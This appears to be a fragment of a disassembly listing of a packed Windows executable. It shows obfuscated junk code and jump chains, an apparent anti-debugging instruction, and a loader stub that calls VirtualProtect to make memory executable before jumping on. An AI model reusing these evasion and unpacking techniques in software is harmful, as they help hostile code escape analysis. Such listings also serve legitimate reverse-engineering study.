; ---------------------------------------------------------------------------
		dd 0BA5837F1h, 3838FB3Bh, 2B442C8Ah, 457AC5EFh,	0DA50C6Fh
		dd 9167A954h
; ---------------------------------------------------------------------------


loc_46D70C:				; CODE XREF: DMN1:loc_46D6F2j
		jmp	short loc_46D723
; ---------------------------------------------------------------------------
		and	ch, dl
		aas
		xor	ds:213483C5h, bl
		retf	0FEE6h
; ---------------------------------------------------------------------------
		push	ss
		retf
; ---------------------------------------------------------------------------
		dd 27F5964Eh
		db 35h,	4Fh, 11h
; ---------------------------------------------------------------------------


loc_46D723:				; CODE XREF: DMN1:loc_46D70Cj
		jmp	short $+2
		jmp	short loc_46D731
; ---------------------------------------------------------------------------
		db 77h
		dd 1F80CF57h, 5F8E79C9h
		db 0Bh
; ---------------------------------------------------------------------------


loc_46D731:				; CODE XREF: DMN1:0046D725j
		jmp	short loc_46D73C
; ---------------------------------------------------------------------------
		icebp
		pop	ecx
		cmp	dword ptr [edi-2FF359C9h], 2


loc_46D73C:				; CODE XREF: DMN1:loc_46D731j
		jmp	loc_46C9A6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+8]
		xor	edx, 36170E35h
		xor	edx, 2C0CDEDFh
		mov	eax, 400000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-4]
		push	edx
		pusha
		push	0
		lea	edx, [esp]
		push	edx
		push	40h
		push	2C741h
		add	dword ptr [esp], 1000h
		push	eax
		add	eax, 1000h
		add	eax, 6D023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		mov	eax, offset sub_407B60
		jmp	eax
start		endp

; ---------------------------------------------------------------------------
		dd 174ABA00h, 8B81352h,	56D6604h, 66447854h, 166C231h
		dd 7C2C1C2h, 0E850F1E2h, 0FFFFFF91h
; ---------------------------------------------------------------------------
		leave
		retn
DMN1		ends

; Section 3. (virtual address 0006E000)
; Virtual size			: 00000078 (	120.)
; Section size in file		: 00000078 (	120.)
; Offset to raw	data for section: 0006E000
; Flags	C0000060: Text Data Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DMN2		segment	para public 'DATA' use32
		assume cs:DMN2
		;org 46E000h
		dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
		dd 506C6175h, 65746F72h, 0DA007463h, 0D07C81CDh, 7C801Ah
		dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
		dd 0FFFFFFFFh, 6E02Bh, 6E01Fh, 5 dup(0)
		dd 6D000h, 10h,	3754h, 3 dup(0)
DMN2		ends

; Section 4. (virtual address 0006F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0006E200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 46F000h
		align 2000h
_idata2		ends


		end start